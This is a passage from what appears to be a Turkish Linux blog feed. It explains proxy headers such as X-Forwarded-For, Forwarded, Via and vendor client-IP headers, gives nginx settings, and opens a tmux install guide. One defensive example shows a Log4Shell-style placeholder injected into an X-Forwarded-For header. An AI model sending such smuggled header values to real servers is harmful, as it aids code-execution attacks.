<p>Yukarıdaki gibi bir durumda, client 1.1.1.1 değerine sahip <code class="language-plaintext highlighter-rouge">XFF</code> başlığını içeren bir istek gönderiyor. Backend uygulaması, bu isteğin gerçekten istemcinin gerçek IP adresi olup olmadığını bilemez. Bu yüzden bunu görmezden gelmeli ve CDN altyapı hizmetimizin gördüğü istemci adresini (156.11.33.44) gerçek kaynak IP olarak ele almalıdır. Bu örnekte CDN servisi, kendisine gerçekleştirilen isteğin hangi ip adresinden geldiğini gördüğü için bunun bilgisini verebilir.</p>

<p><code class="language-plaintext highlighter-rouge">X-Forwarded-For</code> başlığı üzerinde bir miktar kontrol kazanmanın bir yolu, güvenilir bir reverse proxy dahil etmek ve bu proxy dışında backend sunucusuna ve diğer proxy’lere/sunuculara/load balancer’lara ağ düzeyinde doğrudan erişimi devre dışı bırakmaktır. API geliştiricileri için bu genellikle bir API Getway tarafından gerçekleştirilir, ancak Fastly, Squid Proxy, Cloudflare vb. gibi bir CDN de olabilir. İstek güvenilir bir proxy aracılığıyla geliyorsa ve bu reverse proxy’nin kendisi saldırıya uğramamışsa, muhtemelen gördüğünüz IP zincirinin en azından bir kısmına inanma konusunda sorun yaşamazsınız. Ama bu ip zincirinin hangi kısmına güvenebiliriz ?</p>

<p>Temelde, güvenilir ve kontrol edilebilir proxy’den önceki tüm ip adreslerine şüpheyle yaklaşılmalı. Bunu sağlamak için, reverse proxy seviyesinde başlıkların(header) nasıl oluşturulduğunu değiştiren kararlar alabilirsiniz. Örneğin, nginx, <code class="language-plaintext highlighter-rouge">X-Forwarded-For</code> başlığını tamamen geçersiz kılabilir, istemcinin sağladığı her şeyi görmezden gelebilir ve onu gördüğü gerçek IP adresiyle değiştirebilir. Tüm istekler nginx üzerinden gelirse, bu, altyapınızın etrafına etkili bir şekilde bir çizgi çizer ve dışarıdan alınan tüm güvenilmeyen değerleri bırakarak altyapınızdaki diğer tüm hizmetlerin bu başlığa güvenmesine olanak tanır. Bunun için nginx’te aşağıdaki konfigürasyon tanımlanabilir</p>

<div class="language-jsx highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">proxy_set_header</span> <span class="nx">X</span><span class="o">-</span><span class="nx">Forwarded</span><span class="o">-</span><span class="nx">For</span> <span class="nx">$remote_addr</span><span class="p">;</span>
</code></pre></div></div>

<p>Bu konfigürasyon, XFF başlığını client’ın gerçek IP adresiyle değiştirir ve client tarafından gelenleri görmezden gelir. Bu sayede bu IP adresine güvenebilirsiniz.</p>

<p>Eğer altyapının tek bir giriş noktası yoksa yani birden fazla proxy varsa, bu durumda backend uygulamasının gelen değerleri işleyip temizlemesi ve gerçek IP adresine göre işlem yapmasını sağlayabilirsiniz. Yine de bu işlem isteklerin güvenle ele alındığının garanti edilmesi için zor bir yol.</p>

<p>Client tarafından gönderilen <code class="language-plaintext highlighter-rouge">XFF</code> isteğini koruyup, isteğin geldiği gerçek ip adresini de eklemek için nginx üzerinde aşağıdaki konfigürasyon tanımlanabilir.</p>

<div class="language-jsx highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">proxy_set_header</span> <span class="nx">X</span><span class="o">-</span><span class="nx">Forwarded</span><span class="o">-</span><span class="nx">For</span> <span class="nx">$proxy_add_x_forwarded_for</span><span class="p">;</span>
</code></pre></div></div>

<p>Eğer Nginx sunucunuz bir dizi proxy sunucusu arasında yer alıyorsa ve her bir proxy sunucusunun IP adresi korunmalıysa, <strong><code class="language-plaintext highlighter-rouge">$proxy_add_x_forwarded_for</code></strong> kullanmak daha uygundur. Bu şekilde, mevcut <strong><code class="language-plaintext highlighter-rouge">X-Forwarded-For</code></strong> başlığına eklenen yeni IP adresleri zinciri oluşturulur.</p>

<p>Bu isteğin backend tarafından doğru şekilde ele alınması fevkalade önemli tabii.</p>

<h1 id="x-forwarded-host-"><code class="language-plaintext highlighter-rouge">X-Forwarded-Host</code> ?</h1>

<p><code class="language-plaintext highlighter-rouge">X-Forwarded-Host</code>: HTTP isteği iletilirken, arada load balancer gibi bir proxy bulunan bağlantılarda, istemcinin ana hedef sunucuyu belirtmesini sağlamak için kullanılır. Birden fazla kullanım nedeni olabilir fakat bir örnek vermek gerekirse:</p>

<p>Virtual hosting ile birden fazla hostun barındırıldığı bir uygulama sunucusu düşünelim. Bu hostlar “internal network” yani yalnızca “iç ağ” üzerinden erişilebilir olsun. Bu hostlara erişmek için de “internet” ile “internal” network arasında reverse proxy, load balancer ya da bir CDN servisi olsun. Bu durumda eğer internet üzerindeki bir kullanıcı, iç ağda(internal network) bulunan bir hosta istek gönderirse, bu istek reverse proxy’nin bulunduğu ip adresine çözümlenecek. Yani yapı gereği tüm hostların önünde bu reverse proxy durduğu için istek öncelikle mecburen bu reverse proxy’e ulaştırılacak. Reverse proxy de internal network’de bulunan bu host’u bulup, isteği ilgili host’a iletecek. Bunu yaparken, reverse proxy <code class="language-plaintext highlighter-rouge">Host</code> başlığını internal network’deki host ile değiştirip, kullanıcı tarafından belirtilen host bilgisini ise <code class="language-plaintext highlighter-rouge">X-Forwarded-Host</code> başlığı ile yine iletir. Bu sayede, hedefteki host’ta yer alan web uygulaması, kullanıcının hangi host’a erişmek istediğini anlayıp uygun şekilde işlem yapabilir. Örneğin kayıt tutabilir ya da farklı bir yönlendirme yapısı varsa bu host bilgisine uygun şekilde yönlendirme de gerçekleştirebilir.</p>

<p><img src="https://www.linuxdersleri.net\blog\img\x-forwarded-for\x-forwarded-host-usage-example.png" alt="x-forwarded-host-usage-example" class="responsive img-zoomable" /></p>

<p>Özetle, <code class="language-plaintext highlighter-rouge">X-Forwarded-Host</code> bilgisi, istemcinin orijinal host hedefini koruyarak nihai hedef sunucuya ulaştırmak için kullanılan bir başlıktır. Bu bilgi ihtiyaca yönelik olarak pek çok farklı amaçla kullanılabilir.</p>

<p>Ayrıca hedef sunucuya protokol ve port bilgisini iletmek için de <code class="language-plaintext highlighter-rouge">X-Forwarded-Proto</code> ve  <code class="language-plaintext highlighter-rouge">X-Forwarded-Port</code> başlıkları da kullanılabilir.</p>

<h1 id="alternatifler-ve-standartlar">Alternatifler ve Standartlar</h1>

<p><code class="language-plaintext highlighter-rouge">X-Forwarded-*</code> ile başlayan başlıklar esasen “de facto” başlıklardır. Bu sebeple standartlaşması adına çeşitli başlıklar tanımlanmıştır.</p>

<p><strong>de facto</strong>: resmi olmamakla birlikte fiilen devam eden, süregelen anlamına gelmektedir.</p>

<h2 id="forwarded-başlığı"><code class="language-plaintext highlighter-rouge">Forwarded</code> Başlığı</h2>

<p><code class="language-plaintext highlighter-rouge">X-Forwarded-*</code> başlıkları yaygın kullanımına karşın aslında şaşırtıcı biçimde resmi bir standart değildir. Yani IETF gibi bir oluşum tarafından standart olarak tanımlanmamıştır. Popüler olmasına ve genellikle uyumluluk sorunları yaşanmamasına rağmen, bu başlıklar yerine <a href="https://datatracker.ietf.org/doc/html/rfc7239">RFC 7239</a>: 2014’te <code class="language-plaintext highlighter-rouge">Forwarded</code> başlığı tanımlanmıştır.</p>

<p>Kullanım örneği için aşağıdaki resimde olduğu gibi bir durumu ele alırsak, uygulama sunucusuna ulaşan istekteki <code class="language-plaintext highlighter-rouge">Forwarded</code> başlığı şu şekilde olurdu.</p>

<p><img src="https://www.linuxdersleri.net\blog\img\x-forwarded-for\forwarded-header-example.png" alt="forwarded-header-example" class="responsive img-zoomable" /></p>

<p>Eğer ipv6 adresleri belirtilecekse köşeli parantez içinde belirtiliyor.</p>

<div class="language-jsx highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">X</span><span class="o">-</span><span class="nx">Forwarded</span><span class="o">-</span><span class="nx">For</span><span class="p">:</span> <span class="mf">192.0</span><span class="p">.</span><span class="mf">2.43</span><span class="p">,</span> <span class="mi">2001</span><span class="p">:</span><span class="nx">db8</span><span class="p">:</span><span class="nx">cafe</span><span class="p">::</span><span class="mi">17</span>
<span class="nx">Forwarded</span><span class="p">:</span> <span class="k">for</span><span class="o">=</span><span class="mf">192.0</span><span class="p">.</span><span class="mf">2.43</span><span class="p">,</span> <span class="k">for</span><span class="o">=</span><span class="dl">"</span><span class="s2">[2001:db8:cafe::17]</span><span class="dl">"</span>
</code></pre></div></div>

<p>Örneğin nginx’in <a href="https://www.nginx.com/resources/wiki/start/topics/examples/forwarded/">önerdiği</a> gibi, <code class="language-plaintext highlighter-rouge">Forwarded</code> ile istemciye yönelik güvenilir proxy’niz kendisini tanımlamak için “secret token” içerebilir:</p>

<div class="language-jsx highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">Forwarded</span><span class="p">:</span> <span class="k">for</span><span class="o">=</span><span class="mf">12.34</span><span class="p">.</span><span class="mf">56.78</span><span class="p">,</span> <span class="k">for</span><span class="o">=</span><span class="mf">23.45</span><span class="p">.</span><span class="mf">67.89</span><span class="p">;</span><span class="nx">secret</span><span class="o">=</span><span class="nx">egah2CGj55fSJFs</span><span class="p">,</span> <span class="k">for</span><span class="o">=</span><span class="mf">10.1</span><span class="p">.</span><span class="mf">2.3</span>
</code></pre></div></div>

<p>Bu sayede yalnızca gerçekten ilgili proxy tarafından eklenebilecek bir “gizli” token ile bu isteğin zararlı olmadığını teyit etmek mümkün olabilir.</p>

<p>Üstelik gelecekte eklenebilecek yeni direktiflere ek olarak <code class="language-plaintext highlighter-rouge">by</code> <code class="language-plaintext highlighter-rouge">for</code> <code class="language-plaintext highlighter-rouge">host</code> <code class="language-plaintext highlighter-rouge">proto</code> gibi <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Forwarded">direktifler</a> ile özelleşmiş istekler oluşturmak mümkün.</p>

<p>Kısaca buradaki direktifleri açıklayacak olursak:</p>

<ul>
  <li><code class="language-plaintext highlighter-rouge">by</code> : isteğin nereden geldiğinin bilgisi: Yani ilgili istediğin doğrudan kaynağı.
    <ul>
      <li><code class="language-plaintext highlighter-rouge">hidden</code> veya <code class="language-plaintext highlighter-rouge">secret</code> gibi bir doğrulama tokeni ile doğrulama işleminde kullanılır</li>
      <li>ip adresini belirtir( v4 veya v6, isteğe bağlı olarak port belirtilebilir ayrıca ipv6 [köşeli parantez] içinde olmalıdır.</li>
      <li>Kaynak bilinmediğinde <code class="language-plaintext highlighter-rouge">unknown</code> şeklinde de belirtilebilir.</li>
    </ul>
  </li>
  <li><code class="language-plaintext highlighter-rouge">for</code> : Bu isteğin kim veya sırasıyla kimler için yapıldığının bir bilgisidir. Yani <code class="language-plaintext highlighter-rouge">X-Forwarded-For</code> başlığı yerine kullanılabilir.</li>
  <li><code class="language-plaintext highlighter-rouge">host</code> proxy tarafından alınan <code class="language-plaintext highlighter-rouge">Host</code> header bilgisidir. <code class="language-plaintext highlighter-rouge">X-Forwarded-Host</code> ile benzer amaçlar için kullanılabilir.</li>
  <li><code class="language-plaintext highlighter-rouge">proto</code> : İstekte bulunmak için hangi protokolün kullanıldığını belirtir (genellikle “http” veya “https”).</li>
</ul>

<p>Örnekler:</p>

<div class="language-jsx highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">Forwarded</span><span class="p">:</span> <span class="k">for</span><span class="o">=</span><span class="dl">"</span><span class="s2">_mdn</span><span class="dl">"</span>

<span class="err">#</span> <span class="nx">Küçük</span> <span class="nx">büyük</span> <span class="nx">harf</span> <span class="nx">duyarsızdır</span>
<span class="nx">Forwarded</span><span class="p">:</span> <span class="nx">For</span><span class="o">=</span><span class="dl">"</span><span class="s2">[2001:db8:cafe::17]:4711</span><span class="dl">"</span>

<span class="err">#</span> <span class="nx">noktalı</span> <span class="nx">virgül</span> <span class="nx">ile</span> <span class="nx">birbirinden</span> <span class="nx">ayrılır</span>
<span class="nx">Forwarded</span><span class="p">:</span> <span class="k">for</span><span class="o">=</span><span class="mf">192.0</span><span class="p">.</span><span class="mf">2.60</span><span class="p">;</span><span class="nx">proto</span><span class="o">=</span><span class="nx">http</span><span class="p">;</span><span class="nx">by</span><span class="o">=</span><span class="mf">203.0</span><span class="p">.</span><span class="mf">113.43</span><span class="p">,</span> <span class="nx">host</span><span class="o">=</span><span class="nx">example</span><span class="p">.</span><span class="nx">com</span>

<span class="err">#</span> <span class="nx">Birden</span> <span class="nx">fazla</span> <span class="nx">proxyden</span> <span class="nx">gelen</span> <span class="nx">değerler</span> <span class="nx">virgül</span> <span class="nx">kullanılarak</span> <span class="nx">eklenebilir</span>
<span class="nx">Forwarded</span><span class="p">:</span> <span class="k">for</span><span class="o">=</span><span class="mf">192.0</span><span class="p">.</span><span class="mf">2.43</span><span class="p">,</span> <span class="k">for</span><span class="o">=</span><span class="mf">198.51</span><span class="p">.</span><span class="mf">100.17</span>

</code></pre></div></div>

<p>Tek bir <code class="language-plaintext highlighter-rouge">Forwared</code> ile belirtilebilecek metaveriler ayrı ayrı <code class="language-plaintext highlighter-rouge">X-Forwarded-For</code> <code class="language-plaintext highlighter-rouge">X-Forwarded-Host</code> <code class="language-plaintext highlighter-rouge">X-Forwarded-Proto</code> başlıkları ile belirtiliyordu. <code class="language-plaintext highlighter-rouge">Forwared</code> bunu daha basitleştirmiş oldu.</p>

<h2 id="via-başlığı"><code class="language-plaintext highlighter-rouge">Via</code> Başlığı</h2>

<p>İsteğin kimin üzerinden geldiğinin bilgisini verir. Üstelik protokol ve sürüm bilgileri de yer alır. Bu sayede isteğin HTTP/2’den 1.1’e veya HTTPS’den HTTP’ye düşürülüp düşürülmediğini gibi bilgileri edinmek de mümkün olur. Ayrıca hangi yazılım ve sürümün kullandığı gibi bazı ek bilgiler de sunulabileceği için <code class="language-plaintext highlighter-rouge">X-Forwarded-For</code> ve <code class="language-plaintext highlighter-rouge">Forwarded</code> başlıklarından farklı olarak daha çok bilgi/hata ayıklama veya bilgi verme amaçlı kullanılır.</p>

<p>Örneğin:</p>

<div class="language-makefile highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nl">Via</span><span class="o">:</span> <span class="nf">1.1 proxy1.example.com (Apache/2.2.22)</span>
</code></pre></div></div>

<p>Bu başlık, HTTP/1.1 isteğinin proxy1.example.com adlı bir proxy sunucusundan geçtiğini ve bu proxy sunucusunun Apache/2.2.22 sürümü olduğunu belirtir.</p>

<p>Birden fazla proxy sunucusu varsa, her biri sırayla listelenir:</p>

<div class="language-makefile highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nl">Via</span><span class="o">:</span> <span class="nf">1.1 proxy1.example.com</span><span class="p">,</span><span class="nf"> 1.1 proxy2.example.com</span>
</code></pre></div></div>

<p>Bu örnekte, HTTP/1.1 istekleri önce proxy1.example.com’dan geçer, ardından proxy2.example.com’dan geçer.</p>

<h2 id="diğer-başlıklar">Diğer Başlıklar</h2>

<p>Benzer amaçlarla kullanılan standart olmayan diğer başlıklardan da kısaca söz edebiliriz.</p>

<p><code class="language-plaintext highlighter-rouge">X-Real-IP</code>: kesin bir standart yaklaşım olmamakla birlikte genellikle sunucuya isteği ileten ip adresini belirtmek için kullanılır. Tıpkı <code class="language-plaintext highlighter-rouge">Forwarded</code> başlığının <code class="language-plaintext highlighter-rouge">by</code> direktifi gibi kullanılabiliyor. Örneğin nginx için aşağıdaki şekilde bir konfigürasyon tanımlaması yapılır.</p>

<div class="language-jsx highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">proxy_set_header</span> <span class="nx">X</span><span class="o">-</span><span class="nx">Real</span><span class="o">-</span><span class="nx">IP</span> <span class="nx">$remote_addr</span><span class="p">;</span>
</code></pre></div></div>

<p>Yukarıdaki tanımlama sayesinde nginx sunucuya istekte bulunan istemcinin gerçek ip adresi <code class="language-plaintext highlighter-rouge">X-Real-IP</code> olarak tutulacaktır.</p>

<p>Ama bu konuda standart bir yaklaşım olmadığı için kimi sunucular <code class="language-plaintext highlighter-rouge">X-Forwarded-For</code> yerine aynı amaçla <code class="language-plaintext highlighter-rouge">X-Real-IP</code> kullanabiliyor. RFC kılavuzlarında standart hale getirilmeyen tüm başlıklar için farklı kullanım senaryoları ile karşılaşmak kaçınılmaz.</p>

<hr />

<p><code class="language-plaintext highlighter-rouge">CF-Connecting-IP</code>: Cloudflare, istekleri kendisine yönlendirirken, gerçek istemci IP adresini <strong><code class="language-plaintext highlighter-rouge">CF-Connecting-IP</code></strong> başlığına ekler ve bu şekilde hedef sunucu, isteğin asıl kaynağını doğru bir şekilde belirleyebilir.</p>

<hr />

<p><code class="language-plaintext highlighter-rouge">Ali-CDN-Real-IP</code> : Bu başlık, Alibaba Cloud CDN’inin arkasındaki web sunucusunda, isteğin nereden geldiğini yani istemcinin gerçek IP adresini doğru bir şekilde belirlemek için kullanılır.</p>

<hr />

<p><code class="language-plaintext highlighter-rouge">X-NF-Client-Connection-IP</code> : istemcinin gerçek IP adresini almak için Netlify’ın kullandığı başlıktır. Ayrıca http istekleri içinde <code class="language-plaintext highlighter-rouge">XFF</code> ve diğer başlıklar olsa bile bunlar Netlify tarafından desteklenmediği için dikkate alınmaz.</p>

<hr />

<p><code class="language-plaintext highlighter-rouge">X-Vercel-Forwarded-For</code> : <code class="language-plaintext highlighter-rouge">XFF</code> başlığının Vercel tarafında kullanılan versiyonudur. Bu başlık, isteğin Vercel’in sunucularına ulaşırken geçtiği proxy sunucularını ve gerçek istemci IP adresini içerir.</p>

<p>Örneğin, bir istemci Vercel’in sunucularına bir istek gönderdiğinde ve bu istek bir proxy sunucusu üzerinden geçiyorsa, bu başlık şu şekilde olabilir:</p>

<div class="language-makefile highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nl">X-Vercel-Forwarded-For</span><span class="o">:</span> <span class="nf">203.0.113.195</span><span class="p">,</span><span class="nf"> 198.51.100.17</span>
</code></pre></div></div>

<p>Bu, isteğin orijinal istemci IP’si 203.0.113.195 olduğunu ve bu isteğin proxy sunucuları aracılığıyla geçtiğini gösterir. En son IP adresi (<strong><code class="language-plaintext highlighter-rouge">198.51.100.17</code></strong>) genellikle Vercel’in sunucusunun IP adresini içerir.</p>

<hr />

<p><code class="language-plaintext highlighter-rouge">X-Vercel-IP-{…} :</code> Bu başlık, Vercel’in sunucuları aracılığıyla iletilen isteklerde, isteğin gerçek istemci IP adresini içerir. Bu başlık, genellikle “X-Vercel-IP” başlığı altında tek bir IP adresi ile gelir, ancak bazen bir dizi başlık (“X-Vercel-IP-1”, “X-Vercel-IP-2”, vb.) şeklinde de olabilir.</p>

<div class="language-jsx highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">X</span><span class="o">-</span><span class="nx">Vercel</span><span class="o">-</span><span class="nx">IP</span><span class="p">:</span> <span class="mf">203.0</span><span class="p">.</span><span class="mf">113.195</span>
</code></pre></div></div>

<div class="language-jsx highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">X</span><span class="o">-</span><span class="nx">Vercel</span><span class="o">-</span><span class="nx">IP</span><span class="o">-</span><span class="mi">1</span><span class="p">:</span> <span class="mf">203.0</span><span class="p">.</span><span class="mf">113.195</span>
<span class="nx">X</span><span class="o">-</span><span class="nx">Vercel</span><span class="o">-</span><span class="nx">IP</span><span class="o">-</span><span class="mi">2</span><span class="p">:</span> <span class="mf">198.51</span><span class="p">.</span><span class="mf">100.17</span>
</code></pre></div></div>

<hr />

<p><strong><code class="language-plaintext highlighter-rouge">Cache-Status</code></strong>, <strong><code class="language-plaintext highlighter-rouge">X-Cache-Status</code></strong>, <strong><code class="language-plaintext highlighter-rouge">X-Served-By</code>, <code class="language-plaintext highlighter-rouge">X-Cache-Hits</code></strong></p>

<p>Bu başlıklar, sunucudan istemciye gönderilen yanıtlardaki başlıklardır. Bu başlıklar, web sunucusu ve önbellek(cache) sistemi tarafından sağlanan istatistikleri ve isteğin işlenme durumunu belirlemek için kullanıyor. Yani verilen yanıt önbellekten mi döndürülüyor eğer öyleyse ne kadar ve ne şekilde önbellekte tutulacak gibi bilgiler sunuluyor.</p>

<ol>
  <li>
    <p><strong><code class="language-plaintext highlighter-rouge">Cache-Status</code></strong>: Bu başlık, bir sunucunun isteği önbelleğe alıp almadığını veya isteğin nasıl işlendiğini belirtir. Sunucu yanıtının durumunu ifade eder.</p>

    <p>Örneğin:</p>

    <div class="language-makefile highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="nl">Cache-Status</span><span class="o">:</span> <span class="nf">MISS</span>
</code></pre></div>    </div>

    <p>Bu, isteğin önbellekte bulunmadığını ve sunucunun orijinal içeriği döndürdüğünü gösterir. “MISS”, önbelleğe alınmamış bir isteği belirtir.</p>

    <p>Diğer olası değerler arasında “HIT” (içerik önbelleğe alındı ve doğrudan önbellekten alındı) ve “EXPIRED” (önbellekteki içerik zaman aşımına uğradı) bulunur.</p>
  </li>
  <li>
    <p><strong><code class="language-plaintext highlighter-rouge">X-Cache-Status</code></strong>: Bu başlık da önbellek durumunu belirtir, ancak genellikle bir proxy sunucusu veya bir CDN tarafından eklenir.</p>

    <p>Örneğin:</p>

    <div class="language-makefile highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="nl">X-Cache-Status</span><span class="o">:</span> <span class="nf">MISS</span>
</code></pre></div>    </div>

    <p>Bu, isteğin önbellekte bulunmadığını ve sunucunun orijinal içeriği geri döndürdüğünü gösterir. HIT ve EXPIRED de yukarıdaki şekilde aynı anlama gelir.</p>
  </li>
  <li>
    <p><strong><code class="language-plaintext highlighter-rouge">X-Served-By</code></strong>: Bu başlık, isteğin işlendiği sunucunun adını veya IP adresini belirtir. Özellikle, bir yük dengeleyici veya bir proxy sunucusu tarafından eklenir.</p>

    <p>Örneğin:</p>

    <div class="language-makefile highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="nl">X-Served-By</span><span class="o">:</span> <span class="nf">cache-sea4481-SEA</span>
</code></pre></div>    </div>

    <p>Bu, isteğin “cache-sea4481-SEA” adlı bir sunucu tarafından işlendiğini gösterir.</p>
  </li>
  <li>
    <p><strong><code class="language-plaintext highlighter-rouge">X-Cache-Hits</code></strong>, bir HTTP başlığıdır ve genellikle bir proxy sunucusu veya bir önbellek sistemi tarafından eklenir. Bu başlık, belirli bir içeriğin önbelleğe alındığı ve önbellekteki içeriğin kaç kez kullanıldığını belirtir.</p>

    <p>Örneğin:</p>

    <div class="language-makefile highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="nl">X-Cache-Hits</span><span class="o">:</span> <span class="nf">3</span>
</code></pre></div>    </div>

    <p>Bu, istenen içeriğin önbellekte bulunduğunu ve bu içeriğin toplamda 3 kez önbellekten alındığını gösterir.</p>
  </li>
</ol>

<p>Daha fazla detay için <a href="https://httptoolkit.com/blog/status-targeted-caching-headers/">göz atabilirsiniz</a>.</p>

<h1 id="olası-tehlikeler-üzerine">Olası Tehlikeler Üzerine</h1>

<p>HTTP başlıklarının kötüye kullanımlarına dair notlar.</p>

<h2 id="arbitrary-code-execution">Arbitrary Code Execution</h2>

<p>Şimdiye kadar bahsetmiş olduğumuz sahte ip adreslerinin ötesinde aslında doğrudan zararlı kod çalıştırmak da mümkün olabilir.</p>

<p>Eğer saldırganlar tarafından, hedefteki teknolojik altyapı biliyor veya tahmin edilebiliyorsa ve kullanıcı girdileri düzgün şekilde ele alınıp temizlenmiyorsa log kayıtlarını tutan servisler gibi harici servisler üzerinden zararlı kod yürütme mümkün olabilir. Bu duruma örnek olarak Log4Shell olarak bilinen CVE-2021-44228 zafiyetini düşünebiliriz.</p>

<p>Şöyle bir girdi olduğunu düşünebilirsiniz</p>

<div class="language-jsx highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">X</span><span class="o">-</span><span class="nx">Forwarded</span><span class="o">-</span><span class="nx">For</span><span class="p">:</span> <span class="mf">1.2</span><span class="p">.</span><span class="mf">3.4</span><span class="p">,</span><span class="nx">$</span><span class="p">{</span><span class="nx">zararlı</span><span class="o">-</span><span class="nx">kod</span><span class="p">()},</span><span class="mf">2.2</span><span class="p">.</span><span class="mf">2.2</span><span class="p">,</span><span class="mf">28.178</span><span class="p">.</span><span class="mf">124.142</span><span class="p">,</span><span class="mf">198.40</span><span class="p">.</span><span class="mf">10.101</span>
</code></pre></div></div>

<p>Bu tür zafiyetlerin önüne geçmek için her türlü girdiyi doğrulamak gerek. Örneğin uygun uzunlukta olmayan veya ip adresi formatında olmayan girdilerin kontrolü yapılabilir.</p>

<h2 id="http-request-smuggling">HTTP Request Smuggling</h2>

<p>Backend sunucusu önünde duran sunucular, istekleri backend’e iletmeden önce bazı başlıklar eklerler. Bunlardan biri de <code class="language-plaintext highlighter-rouge">XFF</code> başlığı olabilir. HTTP Request Smuggling saldırısı ile bu başlığı manipüle ederek normalde erişilemeyecek kaynaklara erişmek mümkün olabilir.</p>

<p><a href="https://portswigger.net/web-security/request-smuggling/exploiting">Request Smuggling</a></p>

<p class="mavi"><strong>ℹ️ Not:</strong> Olası tehlikeler hakkında ileride güncelleme ile daha detaylı bir açıklama eklenebilir.</p>

<h2 id="kaynakça-ve-i̇leri-okuma">Kaynakça ve İleri Okuma</h2>

<ul>
  <li><a href="https://httptoolkit.com/blog/what-is-x-forwarded-for/">What is XFF</a></li>
  <li><a href="https://datatracker.ietf.org/doc/html/rfc7239">RFC 7239: Forwarded HTTP Extension</a></li>
  <li><a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Forwarded-For">MDN Web Docs: X-Forwarded-For</a></li>
  <li><a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Forwarded">MDN Web Docs: Forwarded</a></li>
  <li><a href="https://www.nginx.com/resources/wiki/start/topics/examples/forwarded/">Using Forwarded in NGINX</a></li>
  <li><a href="https://developers.cloudflare.com/fundamentals/reference/http-request-headers/">Cloudflare Fundamentals: HTTP request headers</a></li>
  <li><a href="https://github.com/muratcabuk/derinlemesine-nginx/blob/master/1.reverse-proxy.md">Derinlemesine Nginx</a></li>
  <li><a href="https://stackoverflow.com/questions/19084340/real-life-usage-of-the-x-forwarded-host-header">Real Life Usage Of XFH</a></li>
  <li><a href="https://www.keycdn.com/support/x-forwarded-host">X-Forwarded-Host</a></li>
  <li><a href="https://portswigger.net/web-security/host-header/exploiting#how-to-test-for-vulnerabilities-using-the-http-host-header">Host Header Vulnerabilities</a></li>
</ul>]]></content><author><name>Taylan Özgür Bildik</name></author><category term="blog" /><category term="http" /><category term="web" /><category term="güvenlik" /><summary type="html"><![CDATA[HTTP istekleri çoğu durumda, nihai hedefine ulaşmadan önce birden fazla altyapı katmanından geçer. Bu sebeple, isteği gerçekleştiren asıl “istemci” bilgisinin nihai hedefteki sunucuya ulaştırılabilmesi için X-Forwarded-For başlığı kullanılabilir. Hemen basit bir örnek üzerinden açıklayalım.]]></summary></entry><entry><title type="html">Daha Verimli Bir Konsol: tmux</title><link href="https://www.linuxdersleri.net/tmux" rel="alternate" type="text/html" title="Daha Verimli Bir Konsol: tmux" /><published>2024-01-14T00:00:00+00:00</published><updated>2024-01-14T00:00:00+00:00</updated><id>https://www.linuxdersleri.net/tmux</id><content type="html" xml:base="https://www.linuxdersleri.net/tmux"><![CDATA[<p>Söz konusu konsol araçları olduğunda pek çok alternatife sahibiz. Fakat standart bir konsol yerine <code class="language-plaintext highlighter-rouge">tmux</code> aracını tercih etmek konsol üzerindeki verimliliğimizi artırabilir.</p>

<p><code class="language-plaintext highlighter-rouge">tmux</code> sayesinde tek bir konsol oturumunu birden fazla parçaya bölüp kullanabiliyoruz. Zaten aracımızın ismi de <strong>t</strong>erminal <strong>mu</strong>ltiple<strong>x</strong>er ifadesinden geliyor.</p>

<h2 id="tmux-kurulumu">tmux Kurulumu</h2>

<p>Bu araç varsayılan olarak yüklü gelmediği için <code class="language-plaintext highlighter-rouge">sudo apt install tmux</code> ya da <code class="language-plaintext highlighter-rouge">sudo dnf install tmux</code> komutu ile kurabilirsiniz.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌──<span class="o">(</span>taylan㉿linuxdersleri<span class="o">)</span>-[~]
└─<span class="nv">$ </span><span class="nb">sudo </span>apt <span class="nb">install </span>tmux
Reading package lists... Done
Building dependency tree... Done
Reading state information... Done
The following NEW packages will be installed:
  tmux
0 upgraded, 1 newly installed, 0 to remove and 1827 not upgraded.
Need to get 455 kB of archives.
After this operation, 1,137 kB of additional disk space will be used.
Get:1 http://kali.download/kali kali-rolling/main amd64 tmux amd64 3.3a-4 <span class="o">[</span>455 kB]
Fetched 455 kB <span class="k">in </span>14s <span class="o">(</span>32.1 kB/s<span class="o">)</span>
Selecting previously unselected package tmux.
<span class="o">(</span>Reading database ... 291994 files and directories currently installed.<span class="o">)</span>
Preparing to unpack .../archives/tmux_3.3a-4_amd64.deb ...
Unpacking tmux <span class="o">(</span>3.3a-4<span class="o">)</span> ...
Setting up tmux <span class="o">(</span>3.3a-4<span class="o">)</span> ...
Processing triggers <span class="k">for </span>man-db <span class="o">(</span>2.9.4-4<span class="o">)</span> ...
Processing triggers <span class="k">for </span>kali-menu <span class="o">(</span>2021.4.2<span class="o">)</span> ...
</code></pre></div></div>

<p>Aracımız kurulduktan sonra <code class="language-plaintext highlighter-rouge">tmux</code> komutu ile başlatabiliyoruz.</p>

<p><img src="https://www.linuxdersleri.net/egitim/temel-linux/network/tmux.webp" alt="tmux.webp" class="responsive img-zoomable" /></p>

